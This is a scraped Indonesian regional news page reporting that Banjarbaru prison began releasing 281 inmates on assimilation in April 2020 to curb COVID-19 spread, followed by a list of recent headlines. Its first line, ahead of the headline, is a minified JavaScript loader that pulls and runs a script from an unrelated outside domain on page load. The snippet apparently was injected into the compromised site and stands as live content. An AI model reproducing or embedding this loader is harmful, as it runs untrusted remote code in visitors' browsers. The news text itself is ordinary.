(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING NEWS. Imbas Virus Corona, Sebanyak 281 Napi di Lapas Banjarbaru Dibebaskan


KANALKALIMANTAN.COM, BANJARBARU – Sebagai salah satu upaya pencegahan dan penanganan pandemi covid-19 atau virus corona di Lembaga Permasyakatan (Lapas) maupun Rumah Tahanan (Rutan), Kementerian Hukum dan HAM telah mencetuskan sebuah kebijakan membebaskan para narapidana (napi). Seperti halnya yang dilakukan oleh Lapas Kelas II B Banjarbaru.

Kebijakan ini sendiri tertuang dalam Keputusan Menteri Hukum dan HAM bernomor M.HH-19.PK/01.04.04 tentang Pengeluaran dan Pembebasan Narapidana dan Anak Melalui Asimilasi dan Integrasi dalam Rangka Pencegahan dan Penanggulangan Penyebaran COVID-19.

Dalam konfrensi pers, Kamis (2/4/2020) siang, Kepala Lapas Banjarbaru Herliadi menyatakan bahwa dari total 1.858 napi yang ada di Lapas Banjarbaru, 281 napi diantaranya menerima asimilasi. Artinya, mereka dibebaskan namun harus tetap berada di rumah masing-masing sampai masa hukuman pidananya berakhir.

Konfrensi pers, Kamis (2/4/2020) siang, Kepala Lapas Banjarbaru Herliadi. foto: rico

“Selama di rumah, mereka akan diawasi oleh petugas Bapas (Balai Permasyakatan). Perlu diketahui bahwa mereka yang menerima asimilasi adalah napi yang dua per tiga masa pidananya jatuh sampai dengan tanggal 31 Desember 2020,” katanya.

Baca juga: BREAKING NEWS. Imbas Virus Corona, Sebanyak 281 Napi di Lapas Banjarbaru Dibebaskan

Selain mengacu pada masa hukuman pidananya, mereka yang menerima asimilasi juga adalah napi yang tidak menjalani hukuman subsider. Kalapas Banjarbaru mengungkapkan bahwa pembebasan 281 napi dilakukan secara bertahap. Contohnya, pada hari ini, 14 napi yang lebih dulu dibebaskan.

“Hari ini kita membebaskan 14 napi terlebih dahulu. Tadi mereka juga sudah dikasih arahan oleh petugas. Pembebesan 281 napi di Lapas Banjarbaru, dilakukan secara bertahap sampai pada tanggal 7 April mendatang,” lanjut Herliadi. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell

 


Desy Arfianty

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

3 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

4 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

4 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

1 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

1 hari ago

This website uses cookies.